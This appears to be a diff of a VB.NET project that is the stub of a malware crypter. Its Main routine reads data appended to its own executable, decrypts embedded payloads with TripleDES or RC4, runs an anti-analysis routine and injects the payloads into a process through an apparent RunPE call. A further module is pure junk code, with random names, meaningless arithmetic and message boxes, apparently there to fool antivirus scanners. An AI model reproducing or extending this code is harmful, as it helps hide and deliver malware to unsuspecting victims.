Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.winini.My.MySettings
|
||||
Get
|
||||
Return Global.winini.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<!-- UAC Manifest Options
|
||||
If you want to change the Windows User Account Control level replace the
|
||||
requestedExecutionLevel node with one of the following.
|
||||
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
||||
|
||||
If you want to utilize File and Registry Virtualization for backward
|
||||
compatibility then delete the requestedExecutionLevel node.
|
||||
-->
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</asmv1:assembly>
|
||||
@@ -0,0 +1,101 @@
|
||||
Imports System.Windows.Forms
|
||||
Imports System.Text
|
||||
|
||||
Module Mymod
|
||||
Dim res As String
|
||||
|
||||
Public Function ReplacedrandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim Replacedrandom As New Random()
|
||||
Return Replacedrandom.Next(min, max)
|
||||
End Function
|
||||
|
||||
Public Function ReplacedrandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim Replacedbuilder As New StringBuilder()
|
||||
Dim Replacedrandom As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * Replacedrandom.NextDouble() + 65)))
|
||||
Replacedbuilder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return Replacedbuilder.ToString().ToLower()
|
||||
End If
|
||||
Return Replacedbuilder.ToString()
|
||||
End Function
|
||||
|
||||
Public Function GetReplacedrandom() As String
|
||||
Dim Replacedbuilder As New StringBuilder()
|
||||
Replacedbuilder.Append(ReplacedrandomString(4, True))
|
||||
Replacedbuilder.Append(ReplacedrandomNumber(1000, 9999))
|
||||
Replacedbuilder.Append(ReplacedrandomString(2, False))
|
||||
Return Replacedbuilder.ToString()
|
||||
End Function
|
||||
|
||||
Sub Main()
|
||||
Dim Cuttkey As String = "/Assembly/"
|
||||
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
|
||||
res = Space(LOF(1))
|
||||
FileGet(1, res)
|
||||
FileClose(1)
|
||||
|
||||
Dim Cutter() As String
|
||||
Cutter = Split(res, Cuttkey)
|
||||
|
||||
Dim key As String = Cutter(2)
|
||||
Dim entype As String = Cutter(3)
|
||||
Dim antyw As String = Cutter(4)
|
||||
Dim processZ As String = Cutter(5)
|
||||
Dim mlt As String = Cutter(8)
|
||||
If processZ = "own" Then
|
||||
processZ = Process.GetCurrentProcess().MainModule.FileName
|
||||
End If
|
||||
|
||||
If antyw = "true" Then
|
||||
ant.mofo()
|
||||
End If
|
||||
|
||||
If Cutter(6) = "yes" Then
|
||||
If entype = "tripleDES" Then
|
||||
Dim Str As String = _3des.a(Cutter(7), key, True)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
ElseIf entype = "rc4" Then
|
||||
Dim Str As String = _4cr.enc(Cutter(7), key)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End If
|
||||
End If
|
||||
|
||||
If entype = "tripleDES" Then
|
||||
Dim Str As String = _3des.a(Cutter(1), key, True)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
ElseIf entype = "rc4" Then
|
||||
Dim Str As String = _4cr.enc(Cutter(1), key)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End If
|
||||
End
|
||||
End Sub
|
||||
End Module
|
||||
@@ -0,0 +1,150 @@
|
||||
Module RCyZjqbYzUcQEfmjWRSf
|
||||
Public Sub FmvRjbNbrIQnGciWLMxgiHsXvVGgglDRFlHNFgtwtS(ByVal RxhkFPkBBdvBWTjQzpblLzaTrlwdzOUvttungEPoLfDtBNKR As String)
|
||||
Dim eJfrcwFkxnjGcltZuf As Integer = 1945596 + 405958 + 775176 + 775176
|
||||
Dim DaJNLYPJwKoHIUlrjPsLVnrUrr As String = "jsVXPSEINSiwhWxlcHtFUVObnxfDtcFxUoVOqezsZdRFBTsBH"
|
||||
Dim bDobsaTJqHHLCQKmAKemjPFwK As String = "rcMNokyqPwLUqxoNoYHYYlghLqeSkmtXiSnqnnpQlpIzlHaDevuoeWxWUxrrPIl"
|
||||
Dim OGnRNuYMjaKWFbdXvfCIlmMzJlSjHvsKtOWmjgJPqHHHVItqwIbNjAy As Integer = 766371
|
||||
msgbox("zdjcLbEgNoXaznJZncxHMDkHinxdGVMQNGypHoRuUbkKgjzVBkcDNgGaheHDaiIaswnmKqXrqkxEzjoeojwuqqwycuFWbQFuDGgpKQXQoWobrVgvOhhBkOHYirVDwCEUJuCTwvUOfukyzdaQqmJtkjqtNedVaaHwYSesHOPgcLLqKmZkjGFsejxFgPFsBSQULkoigDJMu")
|
||||
Dim BFqYGdaasAVNZnXavJShRnVQEZbTtTWJDPPtVHRNuBiswFGWcVvIRUJ As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim DijgXzZDpGqJZKOu As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim HpbTKRXYKmWDxLIocdxCvDtSBtHeaNwoZmTFtpqAdjVlOXouMQ As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim vJexBxiRPKAFgTKldWeCPWRnfZXsMwKdVqpTXcMSxxXmBTkokHMq As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("DDLOlwRuEQywXKjtKJOBCrxSSSMMjkZmjVcRmsXBkIOhszOXKqQyCVXBhYuHRgDBlfCaJlMZneJVBzmmUJZokOSqtBaXBjYEkLesQrdhBhWWmdisPhdEBSvtdWrqpozDHhvDGEjgCmpQCiRzXgReEbVRNEjuiruGgOqojUufQODnzICOScewukHTZUqShnYWgdEhziXmTjBV")
|
||||
msgbox("FpUbatbLYJONoIsPfImMNzEvSiYvFSprspccAjKxzXxnjShkviBxRLGhaIBtLBorzwfHDESaQfNhiboTiCwFOBfRBqWgMKcnikxDREuIdIejUkHfBrraoZWNDICvruzsBiGXnlJwhSjbviiIeHwXgZlpjPdiHBVLRIFFFmudfxVlKLq")
|
||||
msgbox("pYlsjkiWDgyYMSIbFUJoPIySvVHOBmYdgwJsmlfWnqLJxGpGTSszvjUFdqqeHOHjxvXVxehZEPPWtUwyHFXkMNuvNUNsivrxEjffXowOXdNNapsDhtKYWsegHSRlGyHkObmWqvnzRzyOypcpCBnlmjuRGCRYYxCWlGDANxdtwWsERS")
|
||||
Dim JOOmkqfOoksDBUltghzFCVzjyuWaDNckLxRFuYPsBIPsOKGnnajtPZ As Integer = 813476
|
||||
Dim hNyfEVOcwBIvsYcuqCemjetapQkFyEjcmjbZmXIxXODTHiorEFsgzqoz As Integer = 753618
|
||||
Dim ThrimkWsUPMrWVVyUorTVOyZlbutQtkFvYIHjnuElXpraOyctsYhwvq As Integer = 606360
|
||||
msgbox("wxdJkFFpVVBtyfHmwOkabDvRryrwQCSRUNivZhiiLlwkrCmAtNVZLBrLNfUwMUwsJrIheeMjrschdFpJRuTyiBtAIyzEAZadjZmUsLAUihbnECXpmyMznSJNzsOUbeOyRyDJLqHPEqcCQHtTZPieTOvYGBvvjUfaDnDeinybKLcGjLXygQoYFLKzPdiUzAidaDsBC")
|
||||
Dim qqGKHMuHtjsYUqjeheDgLAaVlKMfLgUDMgbakJNSRxLxMXSujjNiKrve As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ZUCjtGRgqGyrzYk As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim HHaJFxLzFyVwTGITMnrtazLjR As String = "MpjFcQGwnmvtXbOhiZoNnkxiIvQmcFoYPRzVpJWYHJdqDkQtJpDqhpCSgyTw"
|
||||
Dim RiRSSlGOwCMyzlxywRzQmoTSPJKCzLGZhFxvBSNBoETwUQftDIpNNhQ As Integer = 703541
|
||||
Dim KQbHopfcqFm As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim gVeLsMZttTfKOVCcXWbhtTTMo As String = "qSXvbIYqLFqffusZIvAbkZxEORzVHUvcMrqbeNRiMRJN"
|
||||
Dim UWDepDuHMgqsr As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim pOjeTlwQFHHTycJsHbBNPGTGNtTcwKgQTwXxNHYNZLNCBNWxIbwqnUZz As Integer = 800723
|
||||
Dim wKhMceDdHRYgXPGIXgYbZOPolyVIiHNrHQCrYlvJmEbZdjrbtlANGvrz As Integer = 653464
|
||||
Dim hgQCWsNmIWUvBxoEmMpgdgNjUchTEUePKdlKsqgvspDdCwhDDZVpGsxbKJ As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim JuieTlKElRcmwawJGi As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim SSrtdcGjKfQOKZDxljfRsfHDpX As String = "hwqfznFmjcQfsCCwaLLZorVJLMOdYcSaKtHLJvNRltaNVIyQ"
|
||||
Dim cqoMkvrJnLjaUmHRckQupUHBNEnPLMXxLcsEFQdFizrkxIVvutobHEg As Integer = 750646
|
||||
Dim wHvKXaVIUREpnq As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim RDFviFKLFsqBBWVYNNdTisZkkz As String = "sVbRGDXMmacwvVrJzBliXNYPCFHoRRgPNMveOyoGTlenic"
|
||||
Dim GBvKaLbBJsuQVKDYKPlzWaZdOYVhpBmsfxrOrysLRnoorBDxVMrlIwB As Integer = 672161
|
||||
Dim QhMSMBqmBEhbMKULaYgnazpOzZcZPHJyshYBJZhayijEcSnjTEGMFBAa As Integer = 524903
|
||||
msgbox("EoOjkNITtMoHGVeqIVSXgHMxyswafPtGdFkNjfwdssyNkvNOPQlGQtbfSgADWMtmxSgSkaPHGCWsCVJKTkwZKSqcJMpoEvsifFSQXXtTkfBMPWpRAdurTGaaHmKvlvKkISpTGwBCKckkgaZZuybWCkQtIGmakShPHsrrZLvRwRZIJjVjvmeSg")
|
||||
Dim ZAWRcrCTAxZCMqcDuyDwOCSpqSqXrbtpbZCPOkSuIYCyjsTrqYo As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim STZUtBPukhN As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim KnODriZyrkWJNfYCCOYIZnucja As String = "COjjQxKvbrDqWXWRQovtBATJQlqcXvgFzmfuIjHrvsVpwWFslVWRIhHD"
|
||||
msgbox("IaicAkGQbDchzbrHiIJbatcKSATKIZaPgBUXAfeSNRSUKUnqPOnBSWkOetAfEQJsLTvMeEhoBjITBjhrIzqPDcVuYEsfXEOVGDgkUGMuChUSFWVYUpoHSNfRHJQzvrkLZhxgDnNyVnXFFiyBIOCRsfJsnjqcGdSdXhNoOCfPPbmVjWKngwAiKeCoYGmCmSHnJezxjzKGta")
|
||||
Dim bndqamxsFIYRlNdCbLBTnNuxfFayLcZSOynLDlQMDnWbcZtdgybaSQK As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim uqvCbsQbSsCRBmte As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim BwVpuoqBKNboYCZFJFzuJJokVo As String = "oKfhHalOdempWriQSCWCTePMdpaNnnKpeJYfjjqJNJpythugTxheONAuJNHSeCF"
|
||||
Dim VZjgQthgrxlrHSmOdJPlmMNfkVteSjbaOLNYDAkxYfnblHdHDhhXjXY As Integer = 719266
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub AXHnoOaQQPtQQWJWJiTVoQQLneHpZ(ByVal BKrkJNUDMvIpLktlXKEQRoyBRbdsRaFHAEikmpDIcHBYRwaoX As String)
|
||||
Dim tRszIvIPrShjaIuKbkslrRbIOrkzDyCyUYWNUHedXMpocEFfAAdlYa As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim uGFvKOgejjLjwdwkndmGGunQKDQmrfe As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim yTsOlkXByeCkrdibkPsFpswpCN As String = "BSeyXKrDYgGhMaHrJPNWtBpnTTXBEzmAmTlvsutYJzXWjnmEWhvMEbxRVwp"
|
||||
Dim NpWKdZrsKwiDsTTJAjPDfVuHxrUfCUbytQlqOYRrpfRCsfRRMEPICGD As Integer = 992114
|
||||
Dim YPOSpNmIABZGrkJzdobcYjNOdjeabFhdthVSaCmGNxlUBEMTshoRUudZjHr As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim CTfNadkITWvceEQSNyPqsXKMaANJeSrsZBuop As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim LlHkavodsMrXTasOcPomfxblMa As String = "RePNkOEZYqIWSUyfNfrsNacdqFNIIvYtGtWsxYiNeJsxGErFYmBTSQxBYBcxklRG"
|
||||
Dim wOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdk As Integer = 619113
|
||||
msgbox("ZelcHFKPXhUccKTrMigbBsgDNDgTeermkggqQZKrNvTIBnjXsicgIZFIInihbejMwxEpOMbtCDuUvWEIlxDxaYDeAvFcLTpaPSTXnXukpGocxpgrBGGvJlYvTokJwRgvaZlKKBYHxKsVIuGrdtnVYUsdBzaYwhjsRAHxvEpfQxHspwFdGrzUihmwoKcQcWZndejfGqUZ")
|
||||
Dim ybhRqkJtBqrEFhWPhkXvBJSVRHEgfpCPMLBnmMiChduDlHtJYtAxnXRJ As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim sPtdkPXXbmkPYlgH As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim EiFLiXYHFlIzHGicaNqkctutDWHiTpXjfSQpSICUWdKG As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim hHqAhTmdNrhImtRBhtVsMFuKHpuMKXkhhWDsYqeaEWfHLILGBgXwa As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("RoceRmVgumprTJICCaVtDDFxmpxVbDZyYfDxkqBhOPFCQfMmLMXvTxFwsMMogEXIoBiYGVaODsfuhEVTrtDbLUjVljkvlVkjTtOLKROPwYMgbHFkdWIyqwNJzKMExejPuIqWDGnaaHucGPlcDxgbNELQqmdXGopAwJVvOQiYxZweFhiyYSanUzjRcGhVeUyUKOXsSUcYtvC")
|
||||
msgbox("WKFSjhSJprYEafltoFatzQjFLwAsDVxORNjUPlUMFalVQvfkuHNBPtVnuGtzcOOVfXFIvDwDRgxEQunoISUOoUtUEkWTVGMAXTfppZEPqIAokjKJpqtIHHtaWdEqwAJTucfNFeinnVFAZwlwkkTMJMHtXrIAZhWWhDcGpMZElOOVx")
|
||||
msgbox("EObpdYRZbsiLRfGDTwDlJabxwHKXHfqqfpmpgHoqXKLpxiKDhQRlrdVFCEfdrfmXfFrXxOACyCbPDbFrsGbIWAVIkhTsKoPTawQwkjKyioNCyaVviqdTfJIoGhsixJfkNKuyJYPTRGKRpBqlKSYFHTGMqeGftBJeipmZZzUERkiPoSEJBPUBViEwySIYSZHeyuTtUxZxkIUjGNKVqtaIjDptFagHMbfZgRdkxgCYMNzQA")
|
||||
Dim PhdvkNaxPlkuDtHFygjTqWZZNFmHJnhIQGboxETRFScIsegmsgmDKwwN As Integer = 813476
|
||||
Dim YTULLIHnXEkLrzGqinREabSJyPsapgkkLhCjZTWEoIQwJckUDJIGjHCZ As Integer = 753618
|
||||
Dim JvdAfYlRaRdiMQPjmXRZpDNhnCiMPRbNgdkddWJItTwNsBbJLnArFqE As Integer = 929284
|
||||
Dim NJyuVTlQPQPTbiVnSVlZejIkfzYOaZbkoVyDulHVaIJSeUYvxWKaFUP As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim tCasdPzCXjzkgvPGdhigkidJRHSYnLSCi As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim AcTCPhYlbZkGMkHrSxuPBkHwJ As String = "WsRpFlKDEpJiqNEPAcwBUBralCIjAxaHwaHbDQJLxKNCZiuPaddSUBCmGZwVS"
|
||||
Dim PfNzUSGKchJgmvBPVIqaKlhsxUDXswyYwffvkEyiKhShHYIWQWAAWpCm As Integer = 126466
|
||||
Dim qMbWFmCAJTtgMoEwqnWUI As Integer = 2323463 + 445234 + 276865 + 276865
|
||||
Dim kkcqQvzbSXdYlBLiyHXVhdGxisbHQ As Integer = 4255792 + 1015301 + 1015301 + 1015301
|
||||
Dim iTeavWFEEYjcUoLnXjfjpcXwtKLpEUSWNntSNmICtDtxNRuqVwrUAz As Integer = 653464
|
||||
Dim LorBStIXGmUlogYYnMHFGcSRFqEpFzQCmMTnOpRJPDtscrPbCDkTeZeX As Integer = 976389
|
||||
Dim UWDhWftZUgZrudaaweNFvbzRDn As Integer = 3392460 + 556347 + 387978 + 387978
|
||||
Dim JGZprPuEkhMIULuMJwkJirHmebtPtDUlzsxa As Integer = 5324789 + 588827 + 588827 + 588827
|
||||
Dim fwxeaWDgaThwmWYjCFtYvCkRdhdwSsYxWOTwiYWCidEZQBlnPrOaEjUU As Integer = 750646
|
||||
Dim rMhOqKapIiqFukJsTSMlspTFcdpgJjTizrWMMRWvThgPipVWyysZuLR As Integer = 173571
|
||||
Dim XPeCcdUCdhuYprDvhqhrKceukQsmaCWxNvhJNHdjBGvRlwtLpmZWHs As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim wgjqdThyCVTbYIXlxpdXedRGz As String = "cPONaURSjqWNjreUhEljGwaZOBruJIGGaSLKYESytBXNbleRxorhHFKjuewOz"
|
||||
Dim sUqEhDxbEpxOuVGvhUuraIlGalYqvWsPoGMFvUfmCKuzGjYRCOviYzyJ As Integer = 524903
|
||||
msgbox("uwCljBntatVekhQTwQVFymujWzRxEyvxEIwSmodKQEunKvJsRcSLpqrLlTXuXNpAurkhImBqbPgWaCkfLeKuGjkMrdQoNaEBDhTYLDiFxIiatJVzTDyELZAIaNZorSVUKylJtCYSRtgasYehiiTTQSdEbyPWFdiKcRRTiSaYkWzHdUgySbsaH")
|
||||
Dim iyFlMMVasgsqRKTqAakSBjkwryBgxSBaybrIuKqgdSJQWGsYikj As Integer = 8326115 + 900790 + 900790 + 240987
|
||||
Dim vGDGNDXjnRd As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim DfVgTUMwOUOwHUnNJawWtJCBXW As String = "sICliEbkcIMtSySLYXnjTGoqjQJrGpbkDeeiEzGwtDxhTzKBHFnvErHSNE"
|
||||
msgbox("BSoFcVtNynUUtQGTpUgouOjkGwxXaCwqpPJVKqoRZCBBTkSXDfYCOUXKivMIFoJrlRiNJBfieIVrWpJitCzwNVcbudIfBPsOIihVbbRjuKSwbSrmbTFNNhNNIRCarTDPIeFPvKribcfPDwjXazggOzscBfgaevGAMZteSxSofxeBWBzRPQmUShbqkNOrPgxpkwuiLKs")
|
||||
Dim klMKKIQzxrqGqgUmJCsXGUfCyLQjDCjKpQngrdJDhwuoPqyaWsuzbEnu As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim BDKvhQaKUYzHpsRu As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim bzgAltpRWvVdpzsSQwpZQCRaiF As String = "yHOBrvEVVNFdcKZCYeDYGLhUdVlWtdSaBLNYPJOwiDwQhvUNMJcCPzYexXAUVaj"
|
||||
Dim MiWiOhMGYeGhkuhDkQPZaskEkuuJlQfYtDvyIzyjkhcYwVIKRjHGKVJ As Integer = 719266
|
||||
msgbox("hzdgBMqFFkbvCxnYzhXVLxnxbeZJtkutNSlUvxWwgMmuTLRkPeipNoKtLaQsghOKBIfnGzKURvrQfHQjRpxDZfzpxXFxQDMkvHptzSCqTtkWFHpeZmycWeizsYuuZiGAyxSTzncItkNlRIcxZTGtGciVLPcdjXjfVujpbsNEtOpQseSXTgkJGtonFrPHWs")
|
||||
msgbox("ZtOtUtYEgnQOMjXMRixlNzzvCrCIHKLESBnmzetJWGvOmngfhelrmHlIyxCIOZSjdPFLyTRTKqqhRlUWnOWQRNqbrbvplCvNEyZrnZjsFJwZRUogANlVFxCaspfvjctoRCImNBHPOGhcVQiGETdVYplxJsGLHvbdiyjRweoXfsRykoFJmuVlHyeBrNtELiOSMUxypqhJUZbGBYIjPzmnuIkiDIUukXGCSYZAgTnWuJnWGCrcBrGvZBDnIkKDTx")
|
||||
Dim jTkWTfXOrWgAEdlZdfXvqh As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim YDGenOYuHWTReKFMpyuydwTkMiKXZkz As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim nlZteDNcuVjEGXeeOOYFaaOSgWgHaFCwOiycVbnQCGhocLzJPQmzvdF As Integer = 669190
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub lYtSoEvueopctSxjuIIYbgwAiGuvsEhvLMpsbOHsieLrNVGIa(ByVal RNTMLzJFxFMusXGvbZHmoxZtGobMmDWYYvKfAhGsePTjbQxJ As String)
|
||||
Dim qNKqAyTYomHNSUNBChqWheCBSMehjtiiHNYgYuthuZrnsutHUX As Integer = 8293425 + 405958 + 405958 + 405958
|
||||
msgbox("LYVJzZhwnOGEmRPxMmeprtlylINWVIPTdvdNKafwuTIAywOcyaJMvmYddLzSVMXnFnWTtpchaqwXUbxDnzFOUmPlQUKfBUDdiCfqmlIZqXQRlhTfoDaJWMrwEoyWGRhoOXjoNwLPXSKxGowwioMNLoaBaWKHscdJfzdcexGsEbZdmZDsDINpuulnMUpzVgNcOk")
|
||||
Dim GmdzOETWiKdSYLVUwPzcFHktto As String = "lWEcsyxicGFjQSwvmHpuVfJhbNQJXJpHbOnoStBGEbjaGIrJxR"
|
||||
Dim RzXegSzNutnNHgPeinxiZPZqzL As String = "HmCPjCjzFXdLuvtUUmqgogQAQGmInOExEXNaWdgbQVtmDPElbzDtBqvleBrVRbOYO"
|
||||
Dim mXlDIXGtCIBQcddrqQnHWIViggJQInpeJWpmYgORsHwByVZdImHBkdbU As Integer = 766371
|
||||
msgbox("QnYeFtpqEOqREmOgTpgPcyTamEFTIwXqiLYZqeIFHVxyywfZFkCPiXpOKdbBSHqUqPFeRmBNKivCvlaJwXCdAqZtVzDAhcyvRgZSSjGONJNKrnqsEbQPPfGvZCzCCorfcFhyGvXEhBRCMEwQetSpKqMSTBtCutMVgXWNwKXlNTpQroVOoipIPWeKsTYlIJIXfCLlv")
|
||||
Dim aOMCLmQhEbHrosJogmBTONsTAxLElgIkprZHfOkEFyQZerHEpUGVPr As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim ExvYyhyCJXZBvRqQ As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim mpWzKUwrobQjZrIFhRoPheqHZMXcZkuzJxZYMYEZCkkBXkWxkIb As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim ECvkHbnhKBddhUeQIifEfOBMJoFdocXofwsGIeJYPzqRhQaMbkgU As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("GZcgcbpGnGgIPmRVcMRQZoprZRmWaESNWVSdosvYaZfsPbfhmFTGITMqVqcQCsrZkiUlMEyDmLvXDwzphjVkfzJbzZAVWFclvlsisqBJbZLEZqtZaODUhePfcfWtzmsOpSButgChZXlWxqkfSLzZibeVFwYkiLqIzRWkVEWMPHOpgWtwqZEQoSWnQZBJgGqGHjyTijfoferY")
|
||||
msgbox("ZROlZIffcyWasPCLPaDWFyMWnQaBGBIoqQbYtEalhVrDvAICOEhosWlaDmDluMyKJUkfQFVGGESyzohLEKYpcWEHHzfQoBETMtDETrLmUJPQSVWtImVLZxcnIPehptsKZClZCQVPLJqLQfoCQaVVnRkYfKXBuUpOaoNSGdIGpyytG")
|
||||
msgbox("RRaxSqhAEJGAtjOwUfMBSKVyVlzxWxqTukTXgrMRmPdTsfybbTcOxQPcwRexFtDVQijsVaEJGYFhRNjOZtulOZNHigTgzXjgbbfjGgqcHxvSmWFKKUWrmaypYtabZVQAXbOZJzHZlCHDXutQcLPKnICbOUGIAehgyztpzSiBnCyNtXii")
|
||||
Dim hpyjPLhczKJjdlzWEJvELmakRkwjrJzZtvUiUaYGLmuhdOpgmaEIFiC As Integer = 813476
|
||||
Dim hcJXeEnaQSroNfERuCGVTgVgmxYbyaJdkEXBqaGWeeGEsNqxfJkimPKu As Integer = 753618
|
||||
Dim JGnkncMHyeQYYqhqkdWeNYGZrGPvFAmXDnxnZbiknqqbqPgdZFCCxLVG As Integer = 606360
|
||||
msgbox("dfKVKIMUKjbNiNDAZrSObWjLHcrevuxznUheFOapXgeXFCTEMgyeGFUvgUOMCMlNDHZrfSjWglfqOelfpgDYkeWtNxXlLpvZmAQXddmJeLwQTYcfPesHhAXtCGVXOxeEFYKydvglVUcIlrMPAGFhQZfkhENnoxxsHJgEAKzEYhsmWWjsczaGndTyFGLIfitnUnRPJ")
|
||||
Dim ieZaKCExSWkkASJDTCxVnuivjKpUhJXATcxCBgrFphHcoGkBzoBXoXF As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim kHOxVdjCXlfTVLN As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim GCpnEfwAdkVlRClvdIMGBqUbWw As String = "VscsaqRueNFXaBYfbgzXEDfxjFJUJdQlHyXZgZJjFBrIjhPBYKFbWJoxLwRxWB"
|
||||
Dim tQIqNskvqdZEQDDSqpYcPcxMxbPWyCQAgFYqdZyhXCrinJWGtgHKRWQ As Integer = 703541
|
||||
Dim uxxHunOGOtW As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim tYjFpNyWVvnCsrUKcjZQIEhyGn As String = "gOGxPEuPqWhmXrtEiofXEGpRSvyXQPKumsPeCFNoXOA"
|
||||
Dim vXIVJLOzsInvP As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim aFELOjsbljjpzuHNLdROkqkzNPHTQnIUQuZVVVqzMUnpIpKohTmiqia As Integer = 800723
|
||||
Dim nQPvEVDfIswkGeEUqUNPANdutAeOhLjKfRbSQDCryDVxLmTMAZtlvBrU As Integer = 653464
|
||||
